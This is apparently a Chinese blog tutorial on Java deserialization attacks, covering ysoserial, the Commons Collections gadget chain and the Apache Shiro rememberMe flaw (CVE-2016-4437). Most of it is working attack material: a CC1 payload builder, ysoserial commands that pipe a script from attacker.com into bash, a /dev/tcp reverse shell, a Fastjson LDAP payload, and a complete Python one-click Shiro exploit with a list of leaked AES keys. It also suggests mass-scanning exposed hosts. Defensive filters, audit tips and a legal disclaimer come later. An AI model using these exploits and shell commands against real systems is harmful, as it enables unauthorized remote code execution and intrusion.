Java 反序列化利用链:从 ysoserial 到 Shiro 攻击
2026/7/24 18:55:35 网站建设 项目流程

技术难度:⭐⭐⭐⭐⭐(需要 Java 基础 + 反射机制 + 一点 ClassLoader 知识)

演示版本:Apache Shiro 1.2.4(典型漏洞版本)、ysoserial 0.0.6

测试环境:建议全程在自己搭建的靶场中进行


写在前面:Java 反序列化为何成为经典

如果说 SSRF 是"服务器替我敲门",那 Java 反序列化就是"我让服务器自己执行恶意代码"。

2015 年,Gabriel Lawrence 和 Chris Frohoff 在 AppSecCali 上公布了 Apache Commons Collections 的反序列化利用链,整个 Java 生态都震了一下。因为这条链子只用了标准库 + 一个第三方 jar 包(Commons Collections),就能在服务器上执行任意命令。

更刺激的是,几乎所有的 Java Web 应用都直接或间接用到了 Commons Collections,Spring、Struts、Tiles、Shiro 等框架都躺枪。从那以后:

  • ysoserial 横空出世,成了 Java 反序列化的"瑞士军刀"

  • 几乎所有主流 Java 框架都被挖出过反序列化漏洞(Shiro、WebLogic、Fastjson、Jenkins、JBoss...)

  • 黑产里挖矿、勒索软件的初始入侵手段,Java 反序列化高居前列

  • 国内 SRC 平台上,一个未修复的 Shiro 反序列化能值 5000-50000 元

理解 Java 反序列化利用链,是从"会用工具的脚本小子"进阶到"能挖 0day 的研究员"的必经之路。


一、Java 序列化基础(30 秒入门)

Java 的序列化机制把对象转换为字节流,便于存储或网络传输。反序列化则相反。

序列化协议结构

// 序列化头部 ACED 0005 // 魔数 + 版本 73 // TC_OBJECT 72 // TC_CLASSDESC ... // 类名、字段描述符

一个最简的序列化示例:

// 序列化 User user = new User("admin", 18); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.bin")); oos.writeObject(user); oos.close(); ​ // 反序列化 ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user.bin")); User u = (User) ois.readObject();

魔数(Magic Number)

Java 序列化数据以字节AC ED 00 05开头(base64 编码后是rO0AB)。这个特征可以用来快速识别 Java 序列化流量

实战技巧:抓包看到 cookie 或参数里有rO0ABaced0005这种特征,直接按反序列化思路挖。

关键方法

  • readObject():反序列化的入口

  • readResolve():反序列化后替换对象

  • writeObject():自定义序列化逻辑

  • writeReplace():序列化前替换对象

  • readExternal()/writeExternal():Externalizable 接口

重点关注readObject,因为攻击者能控制的代码最终会从这里开始执行。


二、什么是 Gadget Chain(利用链)

很多初学者把反序列化漏洞理解成"反序列化时执行了命令",这是错的。反序列化本身只是恢复对象状态,不会主动执行任意命令

漏洞的本质是:在反序列化过程中,应用的代码逻辑(readObject或后续调用的方法)触发了某条 "恶意调用链"。这条链子就叫Gadget Chain

一个极简的 Gadget Chain

// 假设有这样一个类 public class Evil implements Serializable { private String cmd; private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec(cmd); // 在反序列化时执行命令 } } ​ // 攻击者只需要序列化一个 Evil 对象 // 当应用反序列化这个对象时,cmd 字段会被执行

但现实中不会有这么明显的类。真实的利用链要靠反射 + 第三方库的"魔法"方法来构造

反射 + 动态代理 = 利用链的发动机

反射让你可以:

  • 动态调用任意方法

  • 访问私有字段

  • 绕过泛型检查

动态代理让你可以:

  • 在方法调用前后插入任意代码

  • 实现任意接口

这两个机制组合起来,几乎可以模拟任何调用序列。Commons Collections 的InvokerTransformer、Shiro 的Cookie记住我机制,都是反射的经典应用。


三、ysoserial 工具实战

ysoserial 是 Java 反序列化的"事实标准"工具,由漏洞原作者开发。

安装

git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests # 编译后生成 target/ysoserial-0.0.6-SNAPSHOT-all.jar

基础使用

# 生成 Commons Collections 5 的 payload java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/pwned" > cc5.bin ​ # 配合 curl 提交(假设漏洞点是 HTTP 参数) curl -X POST http://target.com/api --data-binary @cc5.bin ​ # 配合 JRMP 起一个反序列化服务 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "curl http://attacker.com/shell.sh|bash"

ysoserial 内置的 gadget 列表

Gadget 名称依赖库优先级
CommonsCollections1-7Apache Commons Collections 3.x⭐⭐⭐
CommonsBeanutils1commons-beanutils⭐⭐⭐
Spring1-2Spring⭐⭐
Groovy1Groovy⭐⭐
BeanShell1BeanShell⭐⭐
ROMEROME
Click1Click
Hibernate1Hibernate
JavassistWeld1Javassist/Weld
JBossInterceptors1JBoss
MozillaRhino1Rhino
MozillaRhino2Rhino
Vaadin1Vaadin
URLDNS仅 JDK⭐⭐⭐⭐(无依赖)

挖洞时按顺序试URLDNS → CommonsCollections → CommonsBeanutils → Spring → Groovy等等。

URLDNS 是什么神仙 gadget

URLDNS 是 ysoserial 里最特殊的一个 gadget

  • 只需要 JDK,不需要任何第三方库

  • 不会执行命令,只触发一次 DNS 解析

  • 用来验证目标是否存在反序列化漏洞(看 DNS 解析记录就行)

java -jar ysoserial-all.jar URLDNS "http://your-dns-burp-collaborator.com" > urldns.bin

发送 payload 到目标,如果 DNS 平台收到了解析请求,说明目标存在反序列化漏洞。然后再用其他 gadget 打。

这是 SRC 挖洞的标准动作——先用 URLDNS 验证,再用真实 gadget 执行命令。


四、Apache Commons Collections 利用链深度解析

Commons Collections(CC)是 Java 反序列化研究的"入门教材"。我们深入分析 CC1,理解 gadget chain 的构造思路。

CC1 完整利用链

ObjectInputStream.readObject() -> AnnotationInvocationHandler.readObject() -> AnnotationInvocationHandler.invoke() -> LazyMap.get() -> ChainedTransformer.transform() -> ConstantTransformer.transform() // 获取 Runtime 类 -> InvokerTransformer.transform() // 反射调用 getMethod -> InvokerTransformer.transform() // 反射调用 forName -> InvokerTransformer.transform() // 反射调用 getRuntime -> InvokerTransformer.transform() // 反射调用 exec -> Runtime.exec("command")

关键组件

1. InvokerTransformer(反射执行器)
public class InvokerTransformer implements Transformer { private final String iMethodName; // 方法名 private final Class[] iParamTypes; // 参数类型 private final Object[] iArgs; // 参数 ​ public Object transform(Object input) { if (input == null) return null; try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (Exception ex) { throw new FunctorException(...); } } }

这是 gadget chain 的"发动机"——transform方法可以调用任意对象的任意方法。

2. ChainedTransformer(链式调用)
public class ChainedTransformer implements Transformer { private final Transformer[] iTransformers; ​ public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } }

把多个 Transformer 串起来,前一个的输出作为后一个的输入。

3. ConstantTransformer(常量提供器)
public class ConstantTransformer implements Transformer { private final Object iConstant; public ConstantTransformer(Object constant) { iConstant = constant; } public Object transform(Object input) { return iConstant; } }

提供链的"起点常量"。比如用new ConstantTransformer(Runtime.class)启动一个调用 Runtime 的链。

4. LazyMap(懒加载触发点)
public Object get(Object key) { if (!map.containsKey(key)) { Object value = factory.transform(key); // 这里调用 transformer map.put(key, value); return value; } return map.get(key); }

get一个不存在的 key 时,会调用factory.transform(key)

5. AnnotationInvocationHandler(反序列化入口)

这是sun.reflect.annotation.AnnotationInvocationHandler,JDK 自带,没有 commons-collections 时也能用。它的readObject会在反序列化时遍历 map 的每个 entry 并调用entry.getValue(),触发 LazyMap 的get方法。

完整 Payload 构造(CC1)

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; import java.util.*; import java.lang.reflect.*; ​ public class CC1 { public static void main(String[] args) throws Exception { // 1. 构造命令执行链 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) // macOS }; Transformer chainedTransformer = new ChainedTransformer(transformers); ​ // 2. 包装为 LazyMap Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer); ​ // 3. 通过反射创建 AnnotationInvocationHandler Class<?> handlerClass = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = handlerClass.getDeclaredConstructor( Class.class, Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance( Override.class, lazyMap); ​ // 4. 用动态代理包装 Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, handler); ​ // 5. 再用 AnnotationInvocationHandler 包装一次(外层) Object finalObj = constructor.newInstance( Override.class, proxyMap); ​ // 6. 序列化 ObjectOutputStream oos = new ObjectOutputStream( new FileOutputStream("cc1.bin")); oos.writeObject(finalObj); } }

注意:CC1 在 JDK 8u71 之后失效了,原因是AnnotationInvocationHandler的 readObject 逻辑改了。实战中要用CC5、CC6、CC7等更稳定的 gadget。

CC6(更稳的版本)

CC6 用了HashSet+TiedMapEntry,绕开了AnnotationInvocationHandler,兼容性更好:

// 关键调用链 HashMap.readObject() -> HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() -> ChainedTransformer.transform() -> ... 最终执行命令

CC6 在 JDK 8u72 之后仍然有效,是目前最常用的 CC gadget


五、Apache Shiro 反序列化漏洞深度分析

Apache Shiro 是 Java 界最流行的权限框架之一。它的反序列化漏洞比 Commons Collections 更具实战价值——因为 Shiro 的漏洞直接暴露在 HTTP 流量中,不需要复杂的协议交互。

漏洞背景

  • CVE-2016-4437(Shiro 1.2.4)

  • 受影响版本:Shiro < 1.2.5

  • 漏洞点:rememberMeCookie

Shiro 的 RememberMe 机制

Shiro 提供"记住我"功能,登录后用户关闭浏览器仍然保持登录状态。流程:

登录成功 -> 生成 PrincipalCollection -> 序列化(Java ObjectOutputStream) -> AES 加密 -> Base64 编码 -> 写入 Cookie: rememberMe=xxx

请求时:

读取 Cookie: rememberMe -> Base64 解码 -> AES 解密 -> 反序列化(ObjectInputStream) -> 恢复 PrincipalCollection

漏洞原理

Shiro 1.2.4 使用了硬编码的 AES 密钥

// AbstractRememberMeManager.java(Shiro 1.2.4 源码) private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode( "kPH+bIxk5D2deZiIxcaaaA==" );

这个密钥是公开的(写在 GitHub issue 里),攻击者拿到这个密钥后:

  1. 用 ysoserial 生成恶意序列化数据

  2. 用硬编码密钥 AES 加密

  3. Base64 编码

  4. 替换 Cookie 中的rememberMe字段

  5. 发送给目标服务器

  6. Shiro 反序列化时执行恶意代码

漏洞复现环境

# 拉取 Vulhub 靶场 git clone https://github.com/vulhub/vulhub.git cd vulhub/shiro/CVE-2016-4437 docker-compose up -d

启动后访问http://your-ip:8080,登录页面任意账号密码登录,提示登录失败但 Set-Cookie 里有rememberMe=deleteMe

漏洞利用

Step 1:探测 Shiro

# 直接访问目标,如果返回 Set-Cookie 包含 rememberMe=deleteMe curl -i http://target.com/login

deleteMe是 Shiro 在反序列化失败时设置的标志。看到这个 Cookie 就可以确认使用了 Shiro。

Step 2:生成 Payload

Shiro 用的是 AES-CBC 加密,需要带 IV。ysoserial 默认不带 IV,要用专门的工具:

# 用 shiro-exploit 或者自行构造 java -jar ysoserial-all.jar CommonsBeanutils1 "bash -i >& /dev/tcp/attacker.com/4444 0>&1" > cb1.bin

Step 3:加密 Payload

import base64 from Crypto.Cipher import AES import uuid # 1. 读取 ysoserial 生成的 payload with open('cb1.bin', 'rb') as f: payload = f.read() # 2. 构造 IV(Shiro 用前 16 字节作为 IV) iv = uuid.uuid4().bytes # 随机 16 字节 # 3. 加密 key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(payload + b'\x00' * ((16 - len(payload) % 16) % 16)) # 4. IV + 密文 rememberMe = base64.b64encode(iv + encrypted).decode() print(f"rememberMe={rememberMe}")

Step 4:发送请求

curl -i http://target.com/login -b "rememberMe=<生成的 rememberMe 值>"

Step 5:收反弹 Shell

nc -lvnp 4444

完整利用脚本

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Shiro 反序列化一键利用工具 支持 CBC + GCM 两种模式(适配不同 Shiro 版本) """ import sys import base64 import uuid import subprocess import requests from Crypto.Cipher import AES ​ # 默认硬编码密钥 DEFAULT_KEY = b"kPH+bIxk5D2deZiIxcaaaA==" ​ # 常见硬编码密钥字典 KEYS = [ b"kPH+bIxk5D2deZiIxcaaaA==", b"4AvVhmFLUs0KTA3Kprsdag==", b"Z3VucwAAAAAAAAAAAAAAAA==", b"suiV1YrGwAAAAAAAAAAAA==", b"fCq+/xW488hMTCD+cmJ3aQ==", b"0AvVhmFLUs0KTA3Kprsdag==", b"1QWLxg+NYmxraMoxAXu/Iw==", b"ZUdsaGJUSmxZbU5sY3c9PQ==", b"2AvVhdsgUs0FSA3SDFAdag==", b"3AvVhmFLUs0KTA3Kprsdag==", b"wGiHplamyXlVB11UXWol8g==", b"6ZmI6I2j5Y+R5aSn5ZOlAA==", b"r0e3c16IdVkouZgk1TKVMg==", b"5aaC5qKm5oqA5pyvAAAAAA==", b"bWljcm9zAAAAAAAAAAAAAA==", b"ZWvohmPdUsAWT3N_1tB1FQ==", b"L7RioUULEFhRyxM7a2R/Yg==", b"a2VlamFjb3JzaW9uX2lkXz4K", b"a3dvcmcAAAAAAAAAAAAAAA==", b"cGhyYWNrY3MAAAAAAAAAAAAA", b"2itfW92XazYRi5YtW8BfgA==", b"fCq+/xW488hMTCD+cmJ3aQ==", b"eXNoAAAAAAAAAAAAAAAAAAAA", b"Q01TQ0Z3PT0AAAAAAAAAAAA=", b"Ymx1ZXdoYWxlAAAAAAAAAA==", ] ​ def shiro_cbc_encrypt(key, payload): """CBC 模式加密""" iv = uuid.uuid4().bytes cipher = AES.new(key, AES.MODE_CBC, iv) # PKCS7 padding pad_len = 16 - len(payload) % 16 padded = payload + bytes([pad_len] * pad_len) encrypted = cipher.encrypt(padded) return base64.b64encode(iv + encrypted).decode() ​ def shiro_gcm_encrypt(key, payload): """GCM 模式加密(Shiro >= 1.4.2)""" iv = uuid.uuid4().bytes cipher = AES.new(key, AES.MODE_GCM, iv) encrypted, tag = cipher.encrypt_and_digest(payload) # 拼接 iv + encrypted + tag return base64.b64encode(iv + encrypted + tag).decode() ​ def exploit(target, cmd, key=DEFAULT_KEY, mode='cbc'): """完整利用流程""" # 1. 生成 ysoserial payload print(f"[*] 生成 payload: {cmd}") ysoserial_jar = "ysoserial-all.jar" proc = subprocess.run( ["java", "-jar", ysoserial_jar, "CommonsBeanutils1", cmd], capture_output=True ) payload = proc.stdout ​ # 2. 加密 if mode == 'cbc': rememberMe = shiro_cbc_encrypt(key, payload) else: rememberMe = shiro_gcm_encrypt(key, payload) ​ print(f"[*] 加密完成,发送请求到 {target}") ​ # 3. 发送 r = requests.get(target, cookies={"rememberMe": rememberMe}) print(f"[*] 状态码: {r.status_code}") ​ def detect_shiro(target): """探测 Shiro 框架""" r = requests.get(target) if 'rememberMe' in r.headers.get('Set-Cookie', ''): return True # 检查 Set-Cookie if r.headers.get('Set-Cookie', '').startswith('rememberMe=deleteMe'): return True return False ​ def brute_key(target): """暴力尝试默认密钥""" print("[*] 尝试默认密钥...") for i, key in enumerate(KEYS): try: # 加密一个普通序列化对象 payload = b'\xac\xed\x00\x05t\x00\x08whoami' if shiro_cbc_encrypt(key, payload): r = requests.get(target, cookies={"rememberMe": shiro_cbc_encrypt(key, payload)}) # 如果不返回 deleteMe 说明 key 正确 if 'deleteMe' not in r.headers.get('Set-Cookie', ''): print(f"[+] 找到密钥: {key.decode()}") return key except Exception as e: pass return None ​ if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python shiro_exploit.py <target> <cmd> [mode]") print("Example: python shiro_exploit.py http://target.com/login 'whoami'") sys.exit(1) ​ target = sys.argv[1] cmd = sys.argv[2] mode = sys.argv[3] if len(sys.argv) > 3 else 'cbc' ​ if detect_shiro(target): print("[+] 确认目标使用 Shiro") ​ key = brute_key(target) or DEFAULT_KEY exploit(target, cmd, key, mode)

Shiro 漏洞识别 Checklist

# 1. 观察 Set-Cookie 是否包含 rememberMe=deleteMe curl -i http://target.com # 2. 发送一个无效的 rememberMe,看是否返回 deleteMe curl -i http://target.com -b "rememberMe=invalid" # 3. 加密一个简单的 Java 对象,发送后看是否还返回 deleteMe python -c " import base64 from Crypto.Cipher import AES import uuid key = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==') iv = uuid.uuid4().bytes cipher = AES.new(key, AES.MODE_CBC, iv) payload = b'\\xac\\xed\\x00\\x05test' * 4 pad = 16 - len(payload) % 16 data = cipher.encrypt(payload + bytes([pad]*pad)) print(base64.b64encode(iv+data).decode()) "

如果不返回deleteMe,说明密钥匹配,可以继续用 ysoserial 打。


六、其他高频反序列化漏洞

1. WebLogic 反序列化

  • CVE-2015-4852:T3 协议反序列化

  • CVE-2017-3506 / CVE-2017-10271:XMLDecoder 反序列化

  • CVE-2019-2725 / CVE-2019-2729:wls-wsat 组件

  • CVE-2020-2551:IIOP 协议

实战要点

  • WebLogic 默认开 T3 协议(7001 端口)

  • WebLogicMemShellScan等工具探测

  • 利用weblogic_cmd工具一键打

2. Fastjson 反序列化

  • CVE-2017-18349CVE-2019-14439CVE-2019-14540

  • 利用autoType机制加载恶意类

  • 一把梭工具:fastjson_exploit

# 简单 payload {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/exploit","autoCommit":true}

3. Jenkins 反序列化

  • CVE-2017-1000353:Java 反序列化导致 RCE

  • 工具:jenkins_exploitysoserialJenkins

4. JBoss / WildFly 反序列化

  • CVE-2015-7501CVE-2017-12149

  • 通常通过invokerJMXInvokerServlet利用

5. Apache Dubbo 反序列化

  • 近年新出,特别是直接面向公网的 Dubbo 服务

  • CVE-2021-30179:Hessian2 反序列化

  • CVE-2021-32824:Hessian2 gadget

6. Log4j 与反序列化

Log4j (CVE-2021-44228) 本身是 JNDI 注入,但配合序列化数据可以做更深的攻击。


七、检测 Java 反序列化漏洞

1. 黑盒测试

流量特征识别
# 流量中看到这些特征,要警觉 magic_bytes = b'\xac\xed\x00\x05' # Java 序列化魔数 b64_pattern = r'rO0AB' # base64 编码的 Java 序列化
工具推荐
工具用途
ysoserial生成 payload
marshalsecJRMP 监听
Burp Suite抓包 + 插件Java Deserialization Scanner
GadgetProbe探测可用的 gadget 链
SerializationDumper解析 Java 序列化数据
ysoserial-modified增强版,支持更多 gadget
SerializationScanner黑盒扫描
主动探测技巧
# 用 URLDNS gadget 探测 java -jar ysoserial-all.jar URLDNS "http://test.burpcollaborator.net" > payload.bin # 发送 payload,看 DNS 平台是否收到解析 ​ # 用 JRMPListener 起一个恶意服务 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "touch /tmp/pwned" # 让目标连接你的 1099 端口(用 CC gadget 中的 JRMPClient)

2. 白盒审计

危险 API 清单
// 危险:直接反序列化不可信数据 ObjectInputStream.readObject() XMLDecoder.readObject() XStream.fromXML() SnakeYAML.load() Jackson ObjectMapper.enableDefaultTyping() HessianInput.readObject() // ... 等等
审计重点
# 1. 搜索反序列化入口 grep -rn "readObject\|XMLDecoder\|XStream\|SnakeYAML" src/ ​ # 2. 搜索 Shiro rememberMe 配置 grep -rn "AbstractRememberMeManager\|rememberMe" src/ ​ # 3. 搜索 Java 原生序列化 grep -rn "ObjectInputStream\|Serializable" src/ ​ # 4. 搜索 Fastjson autoType grep -rn "autoType\|enableDefaultTyping" src/
代码审计工具
  • IDEA 插件:FindBugs、SpotBugs、CheckStyle

  • Fortify SCA(商业)

  • Semgrep(开源)

  • CodeQL(GitHub 开源)

3. RASP 防御

  • 百度 OpenRASP:Java 反序列化 RASP 防御

  • 阿里 ADS:Java 安全检测

  • 字节火山引擎RASP


八、防御方案(完整代码示例)

1. 黑名单(基础)

// 配置 ObjectInputFilter 过滤危险类 ObjectInputFilter filter = new ObjectInputFilter() { private final Set<String> blacklist = new HashSet<>(Arrays.asList( "org.apache.commons.collections.functors.InvokerTransformer", "org.apache.commons.collections.functors.ChainedTransformer", "org.apache.commons.collections.functors.ConstantTransformer", "org.apache.commons.collections.functors.InstantiateTransformer", "org.apache.commons.beanutils.BeanComparator", "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.MethodClosure", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "java.lang.Runtime", "javax.script.ScriptEngine", // ... 更多 )); @Override public Status checkInput(Info info) { Class<?> clazz = info.serialClass(); if (clazz != null && blacklist.contains(clazz.getName())) { return Status.REJECTED; } return Status.UNDECIDED; } }; ​ ObjectInputStream ois = new ObjectInputStream(input); ois.setObjectInputFilter(filter);

2. 升级到无依赖的 gadget-free 库

<!-- 用 commons-collections4 替代 3.x,避免大部分 CC gadget --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.4</version> </dependency>

3. Shiro 专项修复

<!-- 升级到 1.2.5+ --> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-spring</artifactId> <version>1.9.1</version> </dependency>

自定义密钥

// application.properties shiro.codecSource=custom shiro.rememberMe.key=YOUR_RANDOM_64_BYTE_KEY_BASE64_ENCODED ​ // 启动时随机生成 String key = Base64.getEncoder().encodeToString(new byte[32]); // 写入配置文件

4. 业务层方案

// 用白名单类加载器(SerializationDumper 工具的原理) public class SafeObjectInputStream extends ObjectInputStream { private static final String[] ALLOWED_PACKAGES = { "com.yourcompany.model.", "java.util.", "java.lang." }; @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); if (!Arrays.stream(ALLOWED_PACKAGES).anyMatch(name::startsWith)) { throw new InvalidClassException("Unauthorized deserialization: " + name); } return super.resolveClass(desc); } }

5. 流量层检测

  • WAF 规则:拦截包含 Java 序列化魔数 (AC ED 00 05) 的请求

  • IDS 规则:Suricata/Snort 检测异常 JRMP 流量

  • RASP:运行时检测危险调用


九、实战 Checklist

挖洞时的检查清单

1. 资产发现
  • ShiroScanRailgun等工具批量扫描 Shiro 资产
  • Goby批量识别 Java 应用
  • Fofa / ZoomEye / Shodan 搜索特征:
    • app="Apache-Shiro"

    • app="WebLogic"

    • app="Jenkins"

    • app="JBoss"

2. 漏洞验证
  • 看 Set-Cookie 是否有rememberMe=deleteMe
  • 尝试默认密钥(用shiro_exploit工具)
  • 用 URLDNS 探测是否存在反序列化入口
  • 看请求/响应是否有 Java 序列化魔数
3. 漏洞利用
  • ysoserial生成 payload
  • 加密 rememberMe Cookie
  • 发送 payload,反弹 shell
  • 内网渗透(提权、横移)
4. 漏洞报告
  • 漏洞标题、URL、Payload
  • 利用过程截图
  • 修复建议(具体版本号)

应急响应清单(被攻击方)

  • 立即升级 Shiro 到 1.9.1+
  • 更换 rememberMe 密钥
  • 检查服务器是否已被植入后门
  • 审查日志,看异常请求时间点
  • 全量排查所有 Java 应用的反序列化风险
  • 部署 RASP 监控

十、总结

Java 反序列化的核心要点

维度关键点
原理readObject + 反射 + 第三方库"魔法方法"构造调用链
工具ysoserial、marshalsec、GadgetProbe、SerializationDumper
高频目标Shiro、WebLogic、Fastjson、Jenkins、JBoss、Dubbo
挖洞技巧URLDNS 验证 → 默认密钥爆破 → ysoserial payload
防御升级版本、随机密钥、黑名单、流量检测

进阶学习路径

  1. Java 基础:反射、动态代理、ClassLoader

  2. 源码分析:通读 ysoserial 所有 gadget 的源码

  3. 框架源码:看 Shiro、Spring 的反序列化处理逻辑

  4. 新漏洞跟踪:关注 GitHub Security Advisory、CNVD

  5. 漏洞挖掘:从公开 gadget 改造出自己的 chain(0day 的起点

资源推荐

  • ysoserial 源码:必读,理解 gadget 构造

  • marshalsec:JRMP 攻击神器

  • GadgetProbe:运行时探测 gadget

  • P 牛的 Java 反序列化的前世今生(博客园):中文圈最经典的文章

  • 白帽子讲 Web 安全(电子工业出版社)

  • 先知社区Java 反序列化分类文章

  • 《Java 核心技术 卷 1》:补 Java 基础


写在最后

Java 反序列化是一个"门槛在 Java 基础,深度在 gadget 构造"的领域。

挖洞时记住:

  • Shiro 1.2.4 默认密钥:几乎所有大厂都修过,但中小厂仍大量存在

  • WebLogic 7001 端口:互联网暴露面广

  • Fastjson autoType:很多 Java 业务系统仍在用低版本

  • JRMPListener:在内网渗透时非常好用

希望这篇能帮你打开 Java 反序列化的大门。

法律提醒:本文所有技术仅供授权测试使用。未经授权对系统进行渗透测试属于违法行为。


如果觉得有用,点赞 + 收藏 + 关注,三连支持一下~

下一篇预告:《从 Shiro 到 RCE:Java 渗透测试中的完整攻击链》

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询